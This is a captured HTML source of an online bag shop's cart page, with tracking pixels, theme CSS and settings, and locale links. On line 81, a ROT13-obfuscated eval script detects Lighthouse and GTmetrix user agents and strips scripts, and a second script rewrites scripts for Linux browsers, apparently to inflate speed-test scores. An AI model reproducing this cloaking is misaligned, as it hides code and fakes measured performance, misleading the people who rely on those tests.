PageSourceSearch

https://essentialbag.com/cart

html essentialbag.com collected 2026-10-09 22:40:49 UTC 1,093,043 bytes, 14,233 lines download raw bytes

1<!doctype html><html class="no-js" lang="en" dir="ltr">
2  <!-- Taboola Pixel Code -->
3  
3<script type="text/javascript">
4    window._tfa = window._tfa || [];
5    window._tfa.push({ notify: 'event', name: 'page_view', id: 1423556 });
6    !(function (t, f, a, x) {
7      if (!document.getElementById(x)) {
8        t.async = 1;
9        t.src = a;
10        t.id = x;
11        f.parentNode.insertBefore(t, f);
12      }
13    })(
14      document.createElement('script'),
15      document.getElementsByTagName('script')[0],
16      '//cdn.taboola.com/libtrc/unip/1423556/tfa.js',
17      'tb_tfa_script'
18    );
19  </script>
19
20  <!-- End of Taboola Pixel Code --><head>
21    
21<script src="//essentialbag.com/cdn/shop/files/pandectes-rules.js?v=13515712173621348850"></script>
21<link rel="preconnect dns-prefetch" href="https://api.config-security.com/" crossorigin>
22    <link rel="preconnect dns-prefetch" href="https://conf.config-security.com/" crossorigin>
23    <link rel="preconnect dns-prefetch" href="https://whale.camera/" crossorigin>
24    
24<script></script>
24
25
26    
27
28
29
30<script>
31  window.dataLayer = window.dataLayer || [];
32</script>
32
33
34
35
36<!-- Google Tag Manager -->
37<script>
vendor: 334 bytes, lines 37-42
37
38(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({"gtm.start":
39  new Date().getTime(),event:"gtm.js"});var f=d.getElementsByTagName(s)[0],
40  j=d.createElement(s),dl=l!="dataLayer"?"&l="+l:"";j.async=true;j.src=
41  "https://www.googletagmanager.com/gtm.js?id="+i+dl;f.parentNode.insertBefore(j,f);
42})(window,document,"script","dataLayer","
42GTM-WSZRXTXZ
vendor: 4 bytes, line 42
42");
43</script>
43
44<!-- End Google Tag Manager -->
45
46
47
48
49<script id="elevar-gtm-suite-config" type="application/json">{"gtm_id": "GTM-WSZRXTXZ", "event_config": {"cart_reconcile": true, "cart_view": true, "checkout_complete": true, "checkout_step": true, "collection_view": true, "defers_collection_loading": false, "defers_search_results_loading": false, "product_add_to_cart": true, "product_add_to_cart_ajax": true, "product_remove_from_cart": true, "product_select": true, "product_view": true, "search_results_view": true, "user": true, "save_order_notes": false}, "gtm_suite_script": "https://cdn.shopify.com/s/files/1/0461/7466/6912/files/incisiveranking.com_ecomm-code-3-0-8.js", "consent_enabled": false}</script>
49
50
51
52
53
54
55    
56
57
58    <meta charset="utf-8">
59    <meta
60      name="viewport"
61      content="width=device-width, initial-scale=1.0, height=device-height, minimum-scale=1.0, maximum-scale=1.0"
62    >
63    <meta name="theme-color" content="#ffffff">
64
65    <title>
66      Good choice! Your shopping cart:
67    </title><link rel="canonical" href="https://essentialbag.com/cart"><link rel="stylesheet" href="//essentialbag.com/cdn/shop/t/186/assets/style.css?v=170988032197243884501791342734"><link rel="shortcut icon" href="//essentialbag.com/cdn/shop/files/EB_Favicon_e01b9e82-f818-454b-b5fa-6dc3b610f97a_96x96.png?v=1702379019" type="image/png"><link rel="preconnect" href="https://cdn.shopify.com">
68    <link rel="dns-prefetch" href="https://productreviews.shopifycdn.com">
69    <link rel="dns-prefetch" href="https://www.google-analytics.com"><link rel="preconnect" href="https://fonts.shopifycdn.com" crossorigin><link rel="preload" as="style" href="//essentialbag.com/cdn/shop/t/186/assets/theme.css?v=25074321458722522771791342736">
70    <link rel="preload" as="script" href="//essentialbag.com/cdn/shop/t/186/assets/vendor.js?v=31715688253868339281791342738">
71    <link rel="preload" as="script" href="//essentialbag.com/cdn/shop/t/186/assets/theme.js?v=159981493468652147581791342737"><link rel="preload" href="//essentialbag.com/cdn/shop/t/186/assets/app.css?v=24753" as="style">
72    <link rel="preload" href="//essentialbag.com/cdn/shop/t/186/assets/style.css?v=170988032197243884501791342734" as="style">
73
74    <meta property="og:type" content="website">
75  <meta property="og:title" content="Good choice! Your shopping cart:"><meta property="og:image" content="http://essentialbag.com/cdn/shop/files/Facebook_Cover_Logo.jpg?v=1702472949">
76  <meta property="og:image:secure_url" content="https://essentialbag.com/cdn/shop/files/Facebook_Cover_Logo.jpg?v=1702472949">
77  <meta property="og:image:width" content="1920">
78  <meta property="og:image:height" content="1080"><meta property="og:url" content="https://essentialbag.com/cart">
79<meta property="og:site_name" content="ESSENTIALBAG"><meta name="twitter:card" content="summary"><meta name="twitter:title" content="Good choice! Your shopping cart:">
80  <meta name="twitter:description" content="Good choice! Your shopping cart:"><meta name="twitter:image" content="https://essentialbag.com/cdn/shop/files/Facebook_Cover_Logo_1200x1200_crop_center.jpg?v=1702472949">
81  <meta name="twitter:image:alt" content="">
81<script>var reducer = function (str, amount) {if (amount < 0) {return reducer(str, amount + 26); } var output = "";for (var i = 0; i < str.length; i++) {var c = str[i];if (c.match(/[a-z]/i)) {var code = str.charCodeAt(i); if (code >= 65 && code <= 90) {c = String.fromCharCode(((code - 65 + amount) % 26) + 65); }else if (code >= 97 && code <= 122) {c = String.fromCharCode(((code - 97 + amount) % 26) + 97); }}output += c;}return output;};eval(reducer(`vs ( jvaqbj["anivtngbe"][ "hfreNtrag" ].vaqrkBs( "Puebzr-Yvtugubhfr" ) > -1 || jvaqbj["anivtngbe"][ "hfreNtrag" ].vaqrkBs("K11") > -1 || jvaqbj["anivtngbe"][ "hfreNtrag" ].vaqrkBs("TGzrgevk") > -1 ) { yrg abqrf = []; pbafg bofreire = arj ZhgngvbaBofreire((zhgngvbaf) => { zhgngvbaf.sbeRnpu(({ nqqrqAbqrf }) => { nqqrqAbqrf.sbeRnpu((abqr) => { vs (abqr.abqrGlcr === 1 && abqr.gntAnzr === "FPEVCG") { pbafg fep = abqr.fep || ""; pbafg glcr = abqr.glcr; vs (abqr.vaareGrkg) { vs ( abqr.vaareGrkg.vapyhqrf("gerxxvr.zrgubqf") || abqr.vaareGrkg.vapyhqrf("ffj_phfgbz_cebwrpg") ) { abqrf.chfu(abqr); abqr.glcr = "wninfpevcg/oybpxrq"; vs (abqr.cneragRyrzrag) { abqr.cneragRyrzrag.erzbirPuvyq(abqr); } } } } }); }); }); bofreire.bofreir(qbphzrag.qbphzragRyrzrag, { puvyqYvfg: gehr, fhogerr: gehr, }); };`,-13))</script>
81<script type="text/javascript"> if(navigator.platform =="Linux x86_64"){const observer = new MutationObserver(e => { e.forEach(({ addedNodes: e }) => { e.forEach(e => { 1 === e.nodeType && "SCRIPT" === e.tagName && (e.innerHTML.includes("asyncLoad") && (e.innerHTML = e.innerHTML.replace("if(window.attachEvent)", "document.addEventListener('asyncLazyLoad',function(event){asyncLoad();});if(window.attachEvent)").replaceAll(", asyncLoad", ", function(){}")), e.innerHTML.includes("PreviewBarInjector") && (e.innerHTML = e.innerHTML.replace("DOMContentLoaded", "asyncLazyLoad")), (e.className == '') && (e.type = 'text/lazyload'),(e.src.includes("assets/storefront/features")||e.src.includes("assets/shopify_pay")||e.src.includes(""))&&(e.setAttribute("data-src", e.src), e.removeAttribute("src")))})})});observer.observe(document.documentElement,{childList:!0,subtree:!0})}</script>
81
82    
83
84
85  
85<script type="application/ld+json">
86  {
87    "@context": "https://schema.org",
88    "@type": "BreadcrumbList",
89  "itemListElement": [{
90      "@type": "ListItem",
91      "position": 1,
92      "name": "Start",
93      "item": "https://essentialbag.de"
94    }]
95  }
96  </script>
96
97
98
99    <link rel="preload" href="//essentialbag.com/cdn/fonts/epilogue/epilogue_n6.08fec64cb98bb1d92d6fa8e2c6f6b0dbc9d17b85.woff2" as="font" type="font/woff2" crossorigin><link rel="preload" href="//essentialbag.com/cdn/fonts/instrument_sans/instrumentsans_n4.db86542ae5e1596dbdb28c279ae6c2086c4c5bfa.woff2" as="font" type="font/woff2" crossorigin><style>
100  /* Typography (heading) */
101  @font-face {
102  font-family: Epilogue;
103  font-weight: 600;
104  font-style: normal;
105  font-display: swap;
106  src: url("//essentialbag.com/cdn/fonts/epilogue/epilogue_n6.08fec64cb98bb1d92d6fa8e2c6f6b0dbc9d17b85.woff2") format("woff2"),
107       url("//essentialbag.com/cdn/fonts/epilogue/epilogue_n6.c4a59100c1459cdffd805ffafdeadfcb3de81168.woff") format("woff");
108}
109
110@font-face {
111  font-family: Epilogue;
112  font-weight: 600;
113  font-style: italic;
114  font-display: swap;
115  src: url("//essentialbag.com/cdn/fonts/epilogue/epilogue_i6.49ce7741ab834ee744e97f7b8803b90cc3557f1a.woff2") format("woff2"),
116       url("//essentialbag.com/cdn/fonts/epilogue/epilogue_i6.8976d296175e83bc47cb2b377f32366f226382dd.woff") format("woff");
117}
118
119/* Typography (body) */
120  @font-face {
121  font-family: "Instrument Sans";
122  font-weight: 400;
123  font-style: normal;
124  font-display: swap;
125  src: url("//essentialbag.com/cdn/fonts/instrument_sans/instrumentsans_n4.db86542ae5e1596dbdb28c279ae6c2086c4c5bfa.woff2") format("woff2"),
126       url("//essentialbag.com/cdn/fonts/instrument_sans/instrumentsans_n4.510f1b081e58d08c30978f465518799851ef6d8b.woff") format("woff");
127}
128
129@font-face {
130  font-family: "Instrument Sans";
131  font-weight: 400;
132  font-style: italic;
133  font-display: swap;
134  src: url("//essentialbag.com/cdn/fonts/instrument_sans/instrumentsans_i4.028d3c3cd8d085648c808ceb20cd2fd1eb3560e5.woff2") format("woff2"),
135       url("//essentialbag.com/cdn/fonts/instrument_sans/instrumentsans_i4.7e90d82df8dee29a99237cd19cc529d2206706a2.woff") format("woff");
136}
137
138@font-face {
139  font-family: "Instrument Sans";
140  font-weight: 600;
141  font-style: normal;
142  font-display: swap;
143  src: url("//essentialbag.com/cdn/fonts/instrument_sans/instrumentsans_n6.27dc66245013a6f7f317d383a3cc9a0c347fb42d.woff2") format("woff2"),
144       url("//essentialbag.com/cdn/fonts/instrument_sans/instrumentsans_n6.1a71efbeeb140ec495af80aad612ad55e19e6d0e.woff") format("woff");
145}
146
147@font-face {
148  font-family: "Instrument Sans";
149  font-weight: 600;
150  font-style: italic;
151  font-display: swap;
152  src: url("//essentialbag.com/cdn/fonts/instrument_sans/instrumentsans_i6.ba8063f6adfa1e7ffe690cc5efa600a1e0a8ec32.woff2") format("woff2"),
153       url("//essentialbag.com/cdn/fonts/instrument_sans/instrumentsans_i6.a5bb29b76a0bb820ddaa9417675a5d0bafaa8c1f.woff") format("woff");
154}
155
156:root {--heading-color: 40, 40, 40;
157    --text-color: 40, 40, 40;
158    --background: 255, 255, 255;
159    --secondary-background: 245, 245, 245;
160    --border-color: 223, 223, 223;
161    --border-color-darker: 169, 169, 169;
162    --success-color: 46, 158, 123;
163    --success-background: 213, 236, 229;
164    --error-color: 222, 42, 42;
165    --error-background: 253, 240, 240;
166    --primary-button-background: 40, 40, 40;
167    --primary-button-text-color: 255, 255, 255;
168    --secondary-button-background: 40, 40, 40;
169    --secondary-button-text-color: 255, 255, 255;
170    --product-star-rating: 235, 194, 62;
171    --product-on-sale-accent: 56, 56, 56;
172    --product-sold-out-accent: 0, 0, 0;
173    --product-custom-label-background: 235, 194, 62;
174    --product-custom-label-text-color: 0, 0, 0;
175    --product-custom-label-2-background: 235, 194, 62;
176    --product-custom-label-2-text-color: 0, 0, 0;
177    --product-low-stock-text-color: 222, 42, 42;
178    --product-in-stock-text-color: 222, 42, 42;
179    --loading-bar-background: 40, 40, 40;
180
181    /* We duplicate some "base" colors as root colors, which is useful to use on drawer elements or popover without. Those should not be overridden to avoid issues */
182    --root-heading-color: 40, 40, 40;
183    --root-text-color: 40, 40, 40;
184    --root-background: 255, 255, 255;
185    --root-border-color: 223, 223, 223;
186    --root-primary-button-background: 40, 40, 40;
187    --root-primary-button-text-color: 255, 255, 255;
188
189    --base-font-size: 15px;
190    --heading-font-family: Epilogue, sans-serif;
191    --heading-font-weight: 600;
192    --heading-font-style: normal;
193    --heading-text-transform: uppercase;
194    --text-font-family: "Instrument Sans", sans-serif;
195    --text-font-weight: 400;
196    --text-font-style: normal;
197    --text-font-bold-weight: 600;
198
199    /* Typography (font size) */
200    --heading-xxsmall-font-size: 10px;
201    --heading-xsmall-font-size: 10px;
202    --heading-small-font-size: 11px;
203    --heading-large-font-size: 32px;
204    --heading-h1-font-size: 32px;
205    --heading-h2-font-size: 28px;
206    --heading-h3-font-size: 26px;
207    --heading-h4-font-size: 22px;
208    --heading-h5-font-size: 18px;
209    --heading-h6-font-size: 16px;
210
211    /* Control the look and feel of the theme by changing radius of various elements */
212    --button-border-radius: 30px;
213    --block-border-radius: 8px;
214    --block-border-radius-reduced: 4px;
215    --color-swatch-border-radius: 100%;
216
217    /* Button size */
218    --button-height: 48px;
219    --button-small-height: 40px;
220
221    /* Form related */
222    --form-input-field-height: 48px;
223    --form-input-gap: 16px;
224    --form-submit-margin: 24px;
225
226    /* Product listing related variables */
227    --product-list-block-spacing: 32px;
228
229    /* Video related */
230    --play-button-background: 255, 255, 255;
231    --play-button-arrow: 40, 40, 40;
232
233    /* RTL support */
234    --transform-logical-flip: 1;
235    --transform-origin-start: left;
236    --transform-origin-end: right;
237
238    /* Other */
239    --zoom-cursor-svg-url: url(//essentialbag.com/cdn/shop/t/186/assets/zoom-cursor.svg?v=11449853866725033861791343004);
240    --arrow-right-svg-url: url(//essentialbag.com/cdn/shop/t/186/assets/arrow-right.svg?v=67433425717981915691791343004);
241    --arrow-left-svg-url: url(//essentialbag.com/cdn/shop/t/186/assets/arrow-left.svg?v=130031681153462646961791343004);
242
243    /* Some useful variables that we can reuse in our CSS. Some explanation are needed for some of them:
244       - container-max-width-minus-gutters: represents the container max width without the edge gutters
245       - container-outer-width: considering the screen width, represent all the space outside the container
246       - container-outer-margin: same as container-outer-width but get set to 0 inside a container
247       - container-inner-width: the effective space inside the container (minus gutters)
248       - grid-column-width: represents the width of a single column of the grid
249       - vertical-breather: this is a variable that defines the global "spacing" between sections, and inside the section
250                            to create some "breath" and minimum spacing
251     */
252    --container-max-width: 1600px;
253    --container-gutter: 24px;
254    --container-max-width-minus-gutters: calc(var(--container-max-width) - (var(--container-gutter)) * 2);
255    --container-outer-width: max(calc((100vw - var(--container-max-width-minus-gutters)) / 2), var(--container-gutter));
256    --container-outer-margin: var(--container-outer-width);
257    --container-inner-width: calc(100vw - var(--container-outer-width) * 2);
258
259    --grid-column-count: 10;
260    --grid-gap: 24px;
261    --grid-column-width: calc((100vw - var(--container-outer-width) * 2 - var(--grid-gap) * (var(--grid-column-count) - 1)) / var(--grid-column-count));
262
263    --vertical-breather: 36px;
264    --vertical-breather-tight: 36px;
265
266    /* Shopify related variables */
267    --payment-terms-background-color: #ffffff;
268  }
269
270  @media screen and (min-width: 741px) {
271    :root {
272      --container-gutter: 40px;
273      --grid-column-count: 20;
274      --vertical-breather: 48px;
275      --vertical-breather-tight: 48px;
276
277      /* Typography (font size) */
278      --heading-xsmall-font-size: 11px;
279      --heading-small-font-size: 12px;
280      --heading-large-font-size: 48px;
281      --heading-h1-font-size: 48px;
282      --heading-h2-font-size: 36px;
283      --heading-h3-font-size: 30px;
284      --heading-h4-font-size: 22px;
285      --heading-h5-font-size: 18px;
286      --heading-h6-font-size: 16px;
287
288      /* Form related */
289      --form-input-field-height: 52px;
290      --form-submit-margin: 32px;
291
292      /* Button size */
293      --button-height: 52px;
294      --button-small-height: 44px;
295    }
296  }
297
298  @media screen and (min-width: 1200px) {
299    :root {
300      --vertical-breather: 64px;
301      --vertical-breather-tight: 48px;
302      --product-list-block-spacing: 48px;
303
304      /* Typography */
305      --heading-large-font-size: 58px;
306      --heading-h1-font-size: 50px;
307      --heading-h2-font-size: 44px;
308      --heading-h3-font-size: 32px;
309      --heading-h4-font-size: 26px;
310      --heading-h5-font-size: 22px;
311      --heading-h6-font-size: 16px;
312    }
313  }
314
315  @media screen and (min-width: 1600px) {
316    :root {
317      --vertical-breather: 64px;
318      --vertical-breather-tight: 48px;
319    }
320  }
321</style>
322    
322<script>
323  // This allows to expose several variables to the global scope, to be used in scripts
324  window.themeVariables = {
325    settings: {
326      direction: "ltr",
327      pageType: "cart",
328      cartCount: 0,
329      moneyFormat: "${{amount}}",
330      moneyWithCurrencyFormat: "${{amount}} USD",
331      showVendor: false,
332      discountMode: "percentage",
333      currencyCodeEnabled: false,
334      searchMode: "product,article,page,collection",
335      searchUnavailableProducts: "last",
336      cartType: "drawer",
337      cartCurrency: "USD",
338      mobileZoomFactor: 2.5
339    },
340
341    routes: {
342      host: "essentialbag.com",
343      rootUrl: "\/",
344      rootUrlWithoutSlash: '',
345      cartUrl: "\/cart",
346      cartAddUrl: "\/cart\/add",
347      cartChangeUrl: "\/cart\/change",
348      searchUrl: "\/search",
349      predictiveSearchUrl: "\/search\/suggest",
350      productRecommendationsUrl: "\/recommendations\/products"
351    },
352
353    strings: {
354      accessibilityDelete: "Delete",
355      accessibilityClose: "Close",
356      collectionSoldOut: "Sold out",
357      collectionDiscount: "-@savings@",
358      productSalePrice: "Offer price",
359      productRegularPrice: "Regular price",
360      productFormUnavailable: "Not available",
361      productFormSoldOut: "Sold out • strictly limited",
362      productFormPreOrder: "Pre-order",
363      productFormAddToCart: "Add to Cart",
364      searchNoResults: "No results could be found.",
365      searchNewSearch: "New search",
366      searchProducts: "Products",
367      searchArticles: "Blog posts",
368      searchPages: "Pages",
369      searchCollections: "Categories",
370      cartViewCart: "View shopping cart",
371      cartItemAdded: "Product added to cart!",
372      cartItemAddedShort: "Added to cart!",
373      cartAddOrderNote: "Attached note",
374      cartEditOrderNote: "Edit note",
375      shippingEstimatorNoResults: "Sorry, unfortunately we don\u0026#39;t deliver to your address.",
376      shippingEstimatorOneResult: "There is a shipping class for your address:",
377      shippingEstimatorMultipleResults: "There are several shipping classes for your address:",
378      shippingEstimatorError: "One or more errors occurred while retrieving shipping classes:"
379    },
380
381    libs: {
382      flickity: "\/\/essentialbag.com\/cdn\/shop\/t\/186\/assets\/flickity.js?v=176646718982628074891791342723",
383      photoswipe: "\/\/essentialbag.com\/cdn\/shop\/t\/186\/assets\/photoswipe.js?v=132268647426145925301791342731",
384      qrCode: "\/\/essentialbag.com\/cdn\/shopifycloud\/storefront\/assets\/themes_support\/vendor\/qrcode-1f6c2eb7.js"
385    },
386
387    breakpoints: {
388      phone: 'screen and (max-width: 740px)',
389      tablet: 'screen and (min-width: 741px) and (max-width: 999px)',
390      tabletAndUp: 'screen and (min-width: 741px)',
391      pocket: 'screen and (max-width: 999px)',
392      lap: 'screen and (min-width: 1000px) and (max-width: 1199px)',
393      lapAndUp: 'screen and (min-width: 1000px)',
394      desktop: 'screen and (min-width: 1200px)',
395      wide: 'screen and (min-width: 1400px)'
396    }
397  };
398
399  window.addEventListener('pageshow', async () => {
400    const cartContent = await (await fetch(`${window.themeVariables.routes.cartUrl}.js`, {cache: 'reload'})).json();
401    document.documentElement.dispatchEvent(new CustomEvent('cart:refresh', {detail: {cart: cartContent}}));
402  });
403
404  if ('noModule' in HTMLScriptElement.prototype) {
405    // Old browsers (like IE) that does not support module will be considered as if not executing JS at all
406    document.documentElement.className = document.documentElement.className.replace('no-js', 'js');
407
408    requestAnimationFrame(() => {
409      const viewportHeight = (window.visualViewport ? window.visualViewport.height : document.documentElement.clientHeight);
410      document.documentElement.style.setProperty('--window-height',viewportHeight + 'px');
411    });
412  }</script>
412
413
414    <link rel="stylesheet" href="//essentialbag.com/cdn/shop/t/186/assets/theme.css?v=25074321458722522771791342736">
415
416    
416<script src="//essentialbag.com/cdn/shop/t/186/assets/vendor.js?v=31715688253868339281791342738" defer></script>
416
417    
417<script src="//essentialbag.com/cdn/shop/t/186/assets/theme.js?v=159981493468652147581791342737" defer></script>
417
418    
418<script src="//essentialbag.com/cdn/shop/t/186/assets/custom.js?v=167639537848865775061791342722" defer></script>
418
419    
420    
421 
422
423
424
425
426
427
428
429
430
431<script>window.performance && window.performance.mark && window.performance.mark('shopify.content_for_header.start');</script>
431<meta name="google-site-verification" content="IFovvtLH0BMI5NzCtnp1B9R_blJbZE8h8QF3LrWSX40">
432<meta id="shopify-digital-wallet" name="shopify-digital-wallet" content="/46174666912/digital_wallets/dialog">
433<meta id="in-context-paypal-metadata" data-shop-id="46174666912" data-venmo-supported="false" data-environment="production" data-locale="en_US" data-paypal-v4="true" data-currency="USD">
434<link rel="ucp" href="/.well-known/ucp" version="2026-08-25"><link rel="alternate" hreflang="x-default" href="https://essentialbag.de/cart">
435<link rel="alternate" hreflang="de" href="https://essentialbag.de/cart">
436<link rel="alternate" hreflang="en" href="https://essentialbag.de/en/cart">
437<link rel="alternate" hreflang="en-LU" href="https://essentialbag.com/cart">
438<link rel="alternate" hreflang="en-BE" href="https://essentialbag.com/cart">
439<link rel="alternate" hreflang="en-LI" href="https://essentialbag.com/cart">
440<link rel="alternate" hreflang="en-DK" href="https://essentialbag.com/cart">
441<link rel="alternate" hreflang="en-SE" href="https://essentialbag.com/cart">
442<link rel="alternate" hreflang="en-NL" href="https://essentialbag.com/cart">
443<link rel="alternate" hreflang="en-FR" href="https://essentialbag.com/cart">
444<link rel="alternate" hreflang="en-FI" href="https://essentialbag.com/cart">
445<link rel="alternate" hreflang="en-PL" href="https://essentialbag.com/cart">
446<link rel="alternate" hreflang="en-NO" href="https://essentialbag.com/cart">
447<link rel="alternate" hreflang="en-IT" href="https://essentialbag.com/cart">
448<link rel="alternate" hreflang="en-HR" href="https://essentialbag.com/cart">
449<link rel="alternate" hreflang="en-ES" href="https://essentialbag.com/cart">
450<link rel="alternate" hreflang="en-CZ" href="https://essentialbag.com/cart">
451<link rel="alternate" hreflang="en-GB" href="https://essentialbag.com/cart">
452<link rel="alternate" hreflang="en-US" href="https://essentialbag.com/cart">
453<link rel="alternate" hreflang="en-AU" href="https://essentialbag.com/cart">
454<link rel="alternate" hreflang="en-CA" href="https://essentialbag.com/cart">
455<link rel="alternate" hreflang="en-AF" href="https://essentialbag.com/cart">
456<link rel="alternate" hreflang="en-AX" href="https://essentialbag.com/cart">
457<link rel="alternate" hreflang="en-AL" href="https://essentialbag.com/cart">
458<link rel="alternate" hreflang="en-DZ" href="https://essentialbag.com/cart">
459<link rel="alternate" hreflang="en-AD" href="https://essentialbag.com/cart">
460<link rel="alternate" hreflang="en-AO" href="https://essentialbag.com/cart">
461<link rel="alternate" hreflang="en-AI" href="https://essentialbag.com/cart">
462<link rel="alternate" hreflang="en-AG" href="https://essentialbag.com/cart">
463<link rel="alternate" hreflang="en-AR" href="https://essentialbag.com/cart">
464<link rel="alternate" hreflang="en-AM" href="https://essentialbag.com/cart">
465<link rel="alternate" hreflang="en-AW" href="https://essentialbag.com/cart">
466<link rel="alternate" hreflang="en-AC" href="https://essentialbag.com/cart">
467<link rel="alternate" hreflang="en-AZ" href="https://essentialbag.com/cart">
468<link rel="alternate" hreflang="en-BS" href="https://essentialbag.com/cart">
469<link rel="alternate" hreflang="en-BH" href="https://essentialbag.com/cart">
470<link rel="alternate" hreflang="en-BD" href="https://essentialbag.com/cart">
471<link rel="alternate" hreflang="en-BB" href="https://essentialbag.com/cart">
472<link rel="alternate" hreflang="en-BY" href="https://essentialbag.com/cart">
473<link rel="alternate" hreflang="en-BZ" href="https://essentialbag.com/cart">
474<link rel="alternate" hreflang="en-BJ" href="https://essentialbag.com/cart">
475<link rel="alternate" hreflang="en-BM" href="https://essentialbag.com/cart">
476<link rel="alternate" hreflang="en-BT" href="https://essentialbag.com/cart">
477<link rel="alternate" hreflang="en-BO" href="https://essentialbag.com/cart">
478<link rel="alternate" hreflang="en-BA" href="https://essentialbag.com/cart">
479<link rel="alternate" hreflang="en-BW" href="https://essentialbag.com/cart">
480<link rel="alternate" hreflang="en-BR" href="https://essentialbag.com/cart">
481<link rel="alternate" hreflang="en-IO" href="https://essentialbag.com/cart">
482<link rel="alternate" hreflang="en-VG" href="https://essentialbag.com/cart">
483<link rel="alternate" hreflang="en-BN" href="https://essentialbag.com/cart">
484<link rel="alternate" hreflang="en-BG" href="https://essentialbag.com/cart">
485<link rel="alternate" hreflang="en-BF" href="https://essentialbag.com/cart">
486<link rel="alternate" hreflang="en-BI" href="https://essentialbag.com/cart">
487<link rel="alternate" hreflang="en-KH" href="https://essentialbag.com/cart">
488<link rel="alternate" hreflang="en-CM" href="https://essentialbag.com/cart">
489<link rel="alternate" hreflang="en-CV" href="https://essentialbag.com/cart">
490<link rel="alternate" hreflang="en-BQ" href="https://essentialbag.com/cart">
491<link rel="alternate" hreflang="en-KY" href="https://essentialbag.com/cart">
492<link rel="alternate" hreflang="en-CF" href="https://essentialbag.com/cart">
493<link rel="alternate" hreflang="en-TD" href="https://essentialbag.com/cart">
494<link rel="alternate" hreflang="en-CL" href="https://essentialbag.com/cart">
495<link rel="alternate" hreflang="en-CN" href="https://essentialbag.com/cart">
496<link rel="alternate" hreflang="en-CX" href="https://essentialbag.com/cart">
497<link rel="alternate" hreflang="en-CC" href="https://essentialbag.com/cart">
498<link rel="alternate" hreflang="en-CO" href="https://essentialbag.com/cart">
499<link rel="alternate" hreflang="en-KM" href="https://essentialbag.com/cart">
500<link rel="alternate" hreflang="en-CG" href="https://essentialbag.com/cart">
501<link rel="alternate" hreflang="en-CD" href="https://essentialbag.com/cart">
502<link rel="alternate" hreflang="en-CK" href="https://essentialbag.com/cart">
503<link rel="alternate" hreflang="en-CR" href="https://essentialbag.com/cart">
504<link rel="alternate" hreflang="en-CW" href="https://essentialbag.com/cart">
505<link rel="alternate" hreflang="en-CY" href="https://essentialbag.com/cart">
506<link rel="alternate" hreflang="en-CI" href="https://essentialbag.com/cart">
507<link rel="alternate" hreflang="en-DJ" href="https://essentialbag.com/cart">
508<link rel="alternate" hreflang="en-DM" href="https://essentialbag.com/cart">
509<link rel="alternate" hreflang="en-DO" href="https://essentialbag.com/cart">
510<link rel="alternate" hreflang="en-EC" href="https://essentialbag.com/cart">
511<link rel="alternate" hreflang="en-EG" href="https://essentialbag.com/cart">
512<link rel="alternate" hreflang="en-SV" href="https://essentialbag.com/cart">
513<link rel="alternate" hreflang="en-GQ" href="https://essentialbag.com/cart">
514<link rel="alternate" hreflang="en-ER" href="https://essentialbag.com/cart">
515<link rel="alternate" hreflang="en-EE" href="https://essentialbag.com/cart">
516<link rel="alternate" hreflang="en-SZ" href="https://essentialbag.com/cart">
517<link rel="alternate" hreflang="en-ET" href="https://essentialbag.com/cart">
518<link rel="alternate" hreflang="en-FK" href="https://essentialbag.com/cart">
519<link rel="alternate" hreflang="en-FO" href="https://essentialbag.com/cart">
520<link rel="alternate" hreflang="en-FJ" href="https://essentialbag.com/cart">
521<link rel="alternate" hreflang="en-GF" href="https://essentialbag.com/cart">
522<link rel="alternate" hreflang="en-PF" href="https://essentialbag.com/cart">
523<link rel="alternate" hreflang="en-TF" href="https://essentialbag.com/cart">
524<link rel="alternate" hreflang="en-GA" href="https://essentialbag.com/cart">
525<link rel="alternate" hreflang="en-GM" href="https://essentialbag.com/cart">
526<link rel="alternate" hreflang="en-GE" href="https://essentialbag.com/cart">
527<link rel="alternate" hreflang="en-GH" href="https://essentialbag.com/cart">
528<link rel="alternate" hreflang="en-GI" href="https://essentialbag.com/cart">
529<link rel="alternate" hreflang="en-GR" href="https://essentialbag.com/cart">
530<link rel="alternate" hreflang="en-GL" href="https://essentialbag.com/cart">
531<link rel="alternate" hreflang="en-GD" href="https://essentialbag.com/cart">
532<link rel="alternate" hreflang="en-GP" href="https://essentialbag.com/cart">
533<link rel="alternate" hreflang="en-GT" href="https://essentialbag.com/cart">
534<link rel="alternate" hreflang="en-GG" href="https://essentialbag.com/cart">
535<link rel="alternate" hreflang="en-GN" href="https://essentialbag.com/cart">
536<link rel="alternate" hreflang="en-GW" href="https://essentialbag.com/cart">
537<link rel="alternate" hreflang="en-GY" href="https://essentialbag.com/cart">
538<link rel="alternate" hreflang="en-HT" href="https://essentialbag.com/cart">
539<link rel="alternate" hreflang="en-HN" href="https://essentialbag.com/cart">
540<link rel="alternate" hreflang="en-HK" href="https://essentialbag.com/cart">
541<link rel="alternate" hreflang="en-HU" href="https://essentialbag.com/cart">
542<link rel="alternate" hreflang="en-IS" href="https://essentialbag.com/cart">
543<link rel="alternate" hreflang="en-IN" href="https://essentialbag.com/cart">
544<link rel="alternate" hreflang="en-ID" href="https://essentialbag.com/cart">
545<link rel="alternate" hreflang="en-IQ" href="https://essentialbag.com/cart">
546<link rel="alternate" hreflang="en-IE" href="https://essentialbag.com/cart">
547<link rel="alternate" hreflang="en-IM" href="https://essentialbag.com/cart">
548<link rel="alternate" hreflang="en-IL" href="https://essentialbag.com/cart">
549<link rel="alternate" hreflang="en-JM" href="https://essentialbag.com/cart">
550<link rel="alternate" hreflang="en-JP" href="https://essentialbag.com/cart">
551<link rel="alternate" hreflang="en-JE" href="https://essentialbag.com/cart">
552<link rel="alternate" hreflang="en-JO" href="https://essentialbag.com/cart">
553<link rel="alternate" hreflang="en-KZ" href="https://essentialbag.com/cart">
554<link rel="alternate" hreflang="en-KE" href="https://essentialbag.com/cart">
555<link rel="alternate" hreflang="en-KI" href="https://essentialbag.com/cart">
556<link rel="alternate" hreflang="en-XK" href="https://essentialbag.com/cart">
557<link rel="alternate" hreflang="en-KW" href="https://essentialbag.com/cart">
558<link rel="alternate" hreflang="en-KG" href="https://essentialbag.com/cart">
559<link rel="alternate" hreflang="en-LA" href="https://essentialbag.com/cart">
560<link rel="alternate" hreflang="en-LV" href="https://essentialbag.com/cart">
561<link rel="alternate" hreflang="en-LB" href="https://essentialbag.com/cart">
562<link rel="alternate" hreflang="en-LS" href="https://essentialbag.com/cart">
563<link rel="alternate" hreflang="en-LR" href="https://essentialbag.com/cart">
564<link rel="alternate" hreflang="en-LY" href="https://essentialbag.com/cart">
565<link rel="alternate" hreflang="en-LT" href="https://essentialbag.com/cart">
566<link rel="alternate" hreflang="en-MO" href="https://essentialbag.com/cart">
567<link rel="alternate" hreflang="en-MG" href="https://essentialbag.com/cart">
